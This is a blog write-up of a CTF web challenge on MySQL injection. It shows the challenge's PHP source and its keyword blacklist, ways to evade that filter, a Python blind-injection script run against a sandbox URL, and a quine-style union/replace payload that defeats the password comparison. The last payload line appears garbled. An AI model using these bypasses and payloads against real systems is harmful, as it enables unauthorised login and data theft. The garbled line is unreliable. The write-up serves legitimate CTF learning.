yet_another_mysql_injection
S3a Lv3

2021-第五空间智能安全大赛-Web-yet_another_mysql_injection

  1. 初始界面

image

查看源代码发现源码文件 /?source

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
<?php
include_once("lib.php");
function alertMes($mes,$url){
die("<script>alert('{$mes}');location.href='{$url}';</script>");
}

function checkSql($s) {
if(preg_match("/regexp|between|in|flag|=|>|<|and|\||right|left|reverse|update|extractvalue|floor|substr|&|;|\\\$|0x|sleep|\ /i",$s)){
alertMes('hacker', 'index.php');
}
}

if (isset($_POST['username']) && $_POST['username'] != '' && isset($_POST['password']) && $_POST['password'] != '') {
$username=$_POST['username'];
$password=$_POST['password'];
if ($username !== 'admin') {
alertMes('only admin can login', 'index.php');
}
checkSql($password);
$sql="SELECT password FROM users WHERE username='admin' and password='$password';";
$user_result=mysqli_query($con,$sql);
$row = mysqli_fetch_array($user_result);
if (!$row) {
alertMes("something wrong",'index.php');
}
if ($row['password'] === $password) {
die($FLAG);
} else {
alertMes("wrong password",'index.php');
}
}

if(isset($_GET['source'])){
show_source(__FILE__);
die;
}
?>
  1. 源码分析
  • alertMes($mes, $url):该函数接受两个参数,$mes(要显示的消息)和$url(显示消息后要重定向的URL)。它使用JavaScript输出一个包含给定消息的警告弹窗,然后将用户重定向到指定的URL。
  • checkSql($s):该函数接受一个参数$s(一个字符串),并检查其中是否包含任何可疑的SQL关键词或字符,这可能表明试图进行SQL注入攻击。如果发现任何可疑关键词或字符,它将使用alertMes函数显示警告,并将用户重定向到 “index.php”。
1
2
3
4
5
function checkSql($s) {
if(preg_match("/regexp|between|in|flag| =| >|< |and|\||right|left|reverse|update|extractvalue|floor|substr|&|;|\\\$|0x|sleep|\ /i",$s)){
alertMes('hacker', 'index.php');
}
}
  • 模式分隔符后的”i”标记这是一个大小写不敏感的搜索
1
2
3
4
5
sleep 可以用benchmark代替
<,> 可以用least(),greatest()代替
=,in 可以用like代替
substr 可以用mid代替
空格 可以用/**/代替
  1. 注入脚本测试
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
import requests
import time

char = '01234567890abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ/*-+?~#!@&%'


def password():
flag = ''
url = 'http://challenge-f48e2f483110ea2f.sandbox.ctfhub.com:10800/index.php'
while True:
for i in char:
payload = {"username": "admin",
"password": f"1'or/**/password/**/like/**/'{flag + i}%'#"
}
# print(payload)
res = requests.post(url=url, data=payload)

if "something wrong" not in res.text:
flag += i
print(flag)
break
if "ctfhub" in res.text:
print("game over")
break
elif "~" in i:
print("just ok")
return


if __name__ == '__main__':
password()

运行结果 o2cqmlyo0kpjkdyocm8cfbygzaievxbw just ok

通过用户名 admin 密码 o2cqmlyo0kpjkdyocm8cfbygzaievxbw 登录 还是显示错误

  1. 通过网上writeup 发现

使用了 quine注入

1.首先先了解一下replace()函数

  • replace(object,search,replace)
  • 把object对象中出现的的search全部替换成replace

注入的payload:

1
2
1'/**/union/**/select/**/
replace(replace('1"/**/union/**/select/**/replace(replace(".",char(34),char(39)),char(46),".")#',char(34),char(39)),char(46),'1"/**/union/**/select/**/replace(replace(".",char(34),char(39)),char(46),".")#')#

CHAR(34)=" CHAR(39)=' CHAR(33)=! char(46)=.

quine注入

核心思想:

sql语句执行的结果等于sql语句本身

即利用sql执行的结果等于它本身绕过判断:

$row[‘password’] === $password

1
1' union select replace(replace('1" union select replace(replace(".",",') ,., ".")#',", '), ., '1 union select replace(replace(".", ",'), ., ".")#')#
 Comments
Comment plugin failed to load
Loading comment plugin